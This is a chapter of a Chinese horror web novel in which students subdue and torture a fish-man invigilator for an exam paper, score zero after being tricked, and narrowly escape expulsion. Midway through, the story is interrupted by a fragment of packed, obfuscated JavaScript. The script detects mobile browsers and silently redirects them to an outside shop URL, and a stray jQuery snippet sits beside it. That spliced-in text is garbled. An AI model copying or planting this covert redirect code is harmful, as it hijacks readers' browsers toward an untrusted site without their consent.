吃饱鱼人就离开,准备回去拉屎。
“好吃吗?”
“这是我们特意为你准备的。”
耳侧杂音炸起,等鱼人有所反应的时候已经来不及了,蔡思泽一把课桌拍过去笨重鱼头咣咚一身砸到地上,嘴巴都给它摔歪开始抽抽了,颠着鱼尾张合鱼鳃吐沫沫。
头尾都给他固定住,邵旭自告奋勇,“来,让我来。”
他肢体稍显圆润,看着有点压制力,除了禁锢鱼人的两侧,其他人都往后退,给他让出一条可容宽敞通过的小道。
邵旭要发力了,紧着脚后退两步,牙关子都给咬紧了,俯冲式飞奔而上,一屁股坐在鱼人的肚子上。
“噗。”
“噗噗噗。”
他俯冲一次,坐压一下,鱼人的嘴巴就吐出来一个呈抛物线飞出的风干人,霉菌为身上附上一层白色荧光,乍一看还以为是流星滑过。
整整二十五个,本就头昏脑涨的鱼人吐到最后搁那呃呃呃地喘气,缓不上一个完整气。
风干人堆满了将近半个教室,熏干臭腐气息在课室里糜烂开来,几个肠胃短的已经开始扶着墙吐了。
“你们.......你们......”鱼人僵直仰抬鱼头,艰难吐气。
想控诉他们出阴招,但嘴巴被吐出的风干人划伤,扯一下都是剧痛,已经没有力劲可以说话了。
邵旭捋了捋依旧保持飘逸的发型,无辜着圆眼睛表示:“没有呀,你一场远道而来,我们总得好吃好喝招待你,这还是我们亲自去扛的呢,多有诚意呀。”
昨天夜里鱼人可是指定邵旭去拿卤味外卖的,他可是按照了要求去做的,带着小伙伴们往返十来遍,特意费了一番功夫找了些身形和他们相似的。
“小蔡哥,这东西怎么处理?”
这一波人里面蔡思泽的年纪算小的,他们都敬佩蔡思泽的行动机谨周密安排,心生崇佩和仰仗。
于情绪而言,蔡思泽想剐了这胖头鱼做烤鱼。
但于现实而言,他们的困境还没有解除。
蔡思泽半蹲扣住鱼人的鱼鳃,借着它漏口落下的口水混合着特殊杂质所发出的微弱光茫再一次将鱼人细细打量。
这东西,怪异得很,掀开鱼鳃可见里面裹着一颗人头。
它强吞了人的身体,在人身上繁殖占据,紧张状态下其中还没完全进化出来的手收缩返蜕为鱼鳍。
“撒手,给我撒手!不然等学校发现你们欺负监考员,你们就死定了。”
虽然暂时被钳制,但它狂傲劲头可没小,仗着自己是这里的人,依旧攒着嚣张。
“哦。”蔡思泽将其中一个鱼鳍撕裂,“试卷在哪里?”
“啊——”那一声嘶声裂肺混合着哭声的鱼嚎响彻整个教室,引发震感强烈。
等了一秒,它没说,蔡思泽掰另外一个。
“别别别——”它噎着哭腔秒怂,“别这样对我,别掰我的鱼鳍。”
“行。”蔡思泽拿出小刀,开始片鱼生。
它巅动着动弹不得的鱼尾,喊得刚惨烈了,“我说,我说。”
看在鱼人求饶的份上,蔡思泽掰了它一块鱼鳞,转递到在旁观望的唐婧馨跟前:“你那天也是掰这个部位吗?”
“不是。”
蔡思泽还怪气馁的叹了声,将鱼鳞安回原位。
鱼人:“??????”
唐婧馨在它的胖脑袋敲了三下,再次追问:“试卷在哪?”
鱼人还怪难为情地,委屈模样弄得像要它献身一样。
临近过冬,食物不好找,鱼人想着趁这段时间多储备一些干粮。
它把试卷藏起来了。
只要考试失败,他们就会成为它的食物,可是眼前这群人显然没那么好惹,尤其是此刻还在暗戳戳拔它鱼鳞的蔡思泽。
“我把试卷给你们,你们放我走。”
“行。”蔡思泽答应得干脆。
试卷到手,鱼人跑得飞快,咕涌一下就跳出窗口。
“就这么让它跑了未免也太便宜它了。”邵旭趴在窗户边看,一眨眼功夫鱼人就消失得不见踪影,完全同融在黑里。
试卷到手,蔡思泽交到唐婧馨手上:“看你了学霸。”
这张试卷寄托了全课室人的希望,作为智商在全盛时期的学生妹,唐婧馨云淡风轻地接过。
坐回到座位上,唐婧馨歪了一下身子。不对,是地板歪了,隐隐约约轻微晃动感传来。
时间捉急,她没多管,赶紧答卷。
不仅是唐婧馨,其他人也能感觉到课室小幅度倾斜了一下,偶尔上下晃动。
因为,刚才蔡思泽将鱼人的鱼鳍一侧用以保持身体直立稳定的背鳍给拔了。
此时此刻,逃走的鱼人在用另一侧背鳍哭哭咧咧地努力保持平衡,边逃跑边骂蔡思泽:简直就是变态。
夜里的时间比白天的时间还要游走得快一些,墙上时钟滴滴答,桌子上的笔尖在纸张上划拉。
全场肃静,保持沉默中等待,一点噪音没有发出,不影响唐婧馨做题。
有一个人例外。
蔡思泽在后面玩骰子。
他接连抛了好几把,骰子抛起落在手心,答案各异断断续续,始终没能扔出连续不断的C。
邵旭玩心也大,跟着来了几把。他也一样,各不相同。
她真的,手气一绝。
骰子收回,蔡思泽抬手搭在后墙的窟窿裂缝中,柔焦眸光投去,如海船碰礁撞向唐婧馨的背影。
齐肩短发,背身坐直,细瘦手腕写字时总会攒着一股坚定下笔的劲,丰厚知识底蕴垒建答题自信。
上学的时候蔡思泽就喜欢看学霸做题竞赛,如今再看,又找回到了当初久违的熟悉感。
呼吸放缓,沉静中感受,由学霸领队带飞的感觉,妙不可言。
如果唐婧馨此刻可以分出一丁点注意力,就能看到自己被一群各色各样的社会人士包围在其中,23双眼睛似圆形灯带环绕,课室灯光暗亮,衬得他们像夜里出来觅食的老鼠,都盯紧了唐婧馨这块小饼干。
按照她平时的做题速度,一套卷子大概用时一个半小时,这会最后一道大题做完,最后一个句号落下。
天亮了。
墙上时钟指向:8点55分。
再有五分钟,沉寂了一个晚上的广播就会响起起床铃。
答题卡传阅中。
一人念,众人握紧了笔头争分夺秒闷头涂涂画画。
答题卡贴落桌面那一霎,广播铃闻着味就来了。
“铃——”
压着心脏答题结束,这一声铃响直击紧绷神经,将心惊心悸牵扯,虚慌洒一地。
他们被强制性手心朝上,手背粘在课桌两侧。
铃响催动下,课桌陷入激烈震动,答题卡进入不规则扭转,上面的字被抖得不成型,收卷程序再次进行。
批改几乎是即刻进行。
等答题卡静止颤动,唐婧馨瞧了眼答题卡的左上方。
红色批注出来,分数显示:0
第一个出分的是唐婧馨,紧接着蔡思泽,邵旭,周清。
000000000.......
不管是从左到右,还是从前到后看,都是一个个鲜红的空心鸡蛋,都是零分。
“批改错了吧,怎么可能是零分呢。”
“你系统智障了?”
不过分来钟时间,全部批阅完毕。
广播提示:“批阅无误,所有成绩皆已出示,请各位考生注意查收。”
“不对啊......”
看着答题卡上的成绩,前排的人回过目光看向最后一排的唐婧馨。
他们信誓旦旦地交付所有希望,不敢相信唐婧馨居然还他们一个咸鸭蛋。
主要是他们看唐婧馨也不像是会挂零的人。
但要说百思不得其解,最迷惑的还是唐婧馨本人。
她将试卷上的试题重新核对一遍,百分百之确定,她的答案无误。
而且前几道还是送分题,更加不可能做错,也不可能是批注上所显示的零分。
出现这种情况,只有一种可能,这套试卷是错的,不是本场考试的考卷。
他们被鱼人骗了。
课室亮起明暗闪烁的红灯,伴随一阵急切的警告铃响起,驱逐程序进入倒计时。
考试不足40分,将会被驱逐出教室。
“不对,你们一定是搞错了。”
“怎么可能会是零分呢。”
不少人还在挣扎,然后他们被禁锢在桌子上动弹不得。
几乎是毫无预备,一双无形的手死死掐住唐婧馨喉咙,在坐的凳子前椅脚抬空,施加力道一再加重,整个人以骨节僵滞的仰躺姿态倒后倾斜60°。
第二个,第三个,同样被倾斜放倒。
天花上的红灯灭了将近一半,散发着臭味的浓重厚雾将他们的脸庞混浊遮盖,迷惑意识,堵塞窒息。
教室开始剧烈地晃动起来,上方掉下来不少半人大小的碎石块,不计其数的砸下来惨痛声此起彼伏。
坐在椅子上的他们逐渐呼吸失控,无形的手变成他们有形的手,自掐自扼面青目涨。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838212|211544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“不......”
视线晃了一下,太阳穴位置凸起的青筋在晕眩中被剥离,每艰难抽一口气都还以剧烈疼痛。
“杂......杂杂......”
广播,忽然响了一声。
它顿了一下,没出声,但唐婧馨明显感觉到脖子间的桎梏松开了有半厘米的间隙,有了新的空气灌入鼻腔。
即将窒息之际猛地吸了一口气,座椅不受控往后放倒,几乎是同一时间所有人都掉到了地上。
“唔——”
“呼呼————”
一下又一下稀薄空气涌入交替呼吸,喘得急的人直接趴在地上吐了出来,青黄胆汁喷洒在布满碎石的水泥地,曲折蜿蜒的苦水和侧脸压不下去的青筋错位相连。
有那么一瞬间他们以为真的要在此刻没了,但压制忽然消失无踪,破烂课室进入怪异短暂平缓期。
唯剩广播还在那里杂杂作响,像是掉了帧,迟迟没有做出下一步指令。
“它疯了吧?”有人哭着喊着骂了一句。
按目前的情况来说,确实像。可它给了他们几乎是已经踏入鬼门关但却又忽发往外拽一把的救命式喘息时间,疯得意外,却也疯得及时。
缓了那么几分钟,等他们勉强缓过神来,广播也终于来了动静。
“第33号考场收卷异常,请派监考员进场人工核对。”
又是收卷异常。
上一次收卷异常是因为没有涂写准考证号,那这一次呢。
“哎呀卧槽。”
那声卧槽几乎是把所有人惊醒。
邵旭扶着凳子站起来,刚才时间紧急,他光顾着抄唐婧馨的答案了,忘记把昨天没涂的准考证号补上。
不仅是邵旭,其余所有人都是。
他们都光顾着传抄答案了,完全忘记了这回事。
意识到是因为忘涂准考证号而逃过一劫,劫后余生哭了好几个,边骂边哭。
鱼人给了他们一道,但他们因为粗心只上了半道,勉强保住半条小命。
“这该死的胖头鱼实在是太可恶了。”
它的狡猾行径再一次引起众怒。
“等着看吧,我今天晚上非弄死它不可,活剐了它!”
广播也来凑热闹,“第33号考场收卷异常,请派监考员进场人工核对。”
这一次不是催他们命了,是催鱼人上门送命。
“来,快来!”
给邵旭和肖谭激动的,这两人现在脖子都红了,报复心已经到达巅峰阈值,看着还有飚升的趋势。他们从那一水泥地挑挑拣拣将钢筋抽出来,等那鱼人来直接给它抽死。
“看老子一下抽爆他的鱼头,鱼眼做串串。”
“我给它从鱼尾杵到鱼头,一把火给它烧成碳。”
还在说的阶段他们就已经红了眼,看这架势,鱼人大概率是活不过今晚了。
课室后排,唐婧馨在地上坐了好一会,她力竭了,还是蔡思泽过来搭了一把手将她扶起。
“谢谢。”唐婧馨这会脑袋还涨晕着,难受压不下去,吐也吐不出来。
“浪费你一晚上的做题时间了。”
“没事。”唐婧馨揉了揉胸口,勉强将憋闷气压下去。
缓坐了会,她回头瞄了蔡思泽一眼,眼睛半眯,疑惑不少。
“怎么了?”看得出唐婧馨有问题想问,他已经一旁坐好,等待解答。
她看着他的眼睛,细细观量。也许是眸色深的缘故,加之人沉稳,情绪变动不易察觉,静止如死水的相对目光感受不到丝毫顾虑、后怕,镇静异常。
“你不怕死吗?”
尽管才被死亡威胁不久,但蔡思泽看起来就像是只摔了一跤般,坐起来以后便视若无事发生,平静自愈速度惊人。
蔡思泽面色冷,对于唐婧馨的提问,他过耳不记,敷衍一句回应:“一般吧。”
他侧了一下目光,遥看窗外黑天。面色凝重明显若有所思,但却没说话了。
广播声在课室上方环绕,催促中回响:“第33号考场收卷异常,请派监考员进场人工核对。”
唐婧馨还有个问题,但被广播分散了一下注意力,再抿一下嘴,想问的忽然给忘了。
那困惑呆住的小表情,倒是入了蔡思泽余光,浅浅地慢勾起了唇。
广播再三催促,收到通知的鱼人此刻正抱着锁骨嚼嚼嚼,哗啦啦的黏液从侧脸鱼鳃流过,分不清是口水还是鼻涕。
它坐在角落里边吃边哭,看起来还怪惨的咧。
因为这通知听起来更像是通知它去死,马上去死。